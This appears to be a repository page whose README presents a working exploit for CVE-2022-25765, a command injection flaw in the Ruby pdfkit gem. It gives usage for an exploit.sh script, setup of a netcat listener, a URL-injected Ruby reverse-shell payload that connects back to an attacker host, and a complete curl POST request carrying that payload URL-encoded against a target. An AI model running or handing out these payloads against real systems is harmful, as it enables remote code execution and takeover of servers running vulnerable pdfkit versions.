🤬
Enable build support by adding .buildspec.yml
CVE-2022-25765.txt Loading last commit info...
README.md
exploit.sh
README.md

Exploitation of RCE in Ruby PDF kit (CVE-2022-25765)

pdfkit <0.8.6 command injection shell. The package pdfkit from 0.0.0 are vulnerable to Command Injection where the URL is not properly sanitized. (Tested on ver 0.8.6)

Shell exploit

Usage: ./exploit.sh -u <url> -s <script>
Example: ./exploit.sh -u http://localhost:3000 -s 'system(\"ls\")'

Reverse shell exploit

Pre-reqs:

  1. Setup HTTP Server - python3 -m http.server
  2. Setup Netcat Listener - nc -lvnp 4444
Reverse Ruby Shell via webpage:
http://LOCAL-IP:LOCAL-HTTP-PORT/?name=%20` ruby -rsocket -e'spawn("sh",[:in,:out,:err]=>TCPSocket.new("LOCAL-IP",LOCAL-LISTEN-PORT))')

Via CURL (modify bold values): curl 'TARGET-URL' -X POST -H 'User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0' -H 'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8' -H 'Accept-Language: en-US,en;q=0.5' -H 'Accept-Encoding: gzip, deflate' -H 'Content-Type: application/x-www-form-urlencoded' -H 'Origin: TARGET_URL' -H 'Connection: keep-alive' -H 'Referer: TARGET_URL' -H 'Upgrade-Insecure-Requests: 1' --data-raw 'url=http%3A%2F%2FLOCAL-IP%3ALOCAL-HTTP-PORT%2F%3Fname%3D%2520%60+ruby+-rsocket+-e%27spawn%28%22sh%22%2C%5B%3Ain%2C%3Aout%2C%3Aerr%5D%3D%3ETCPSocket.new%28%22LOCAL-IP%22%2CLOCAL-LISTEN-PORT%29%29%27%60'

Please wait...
Page is in error, reload to recover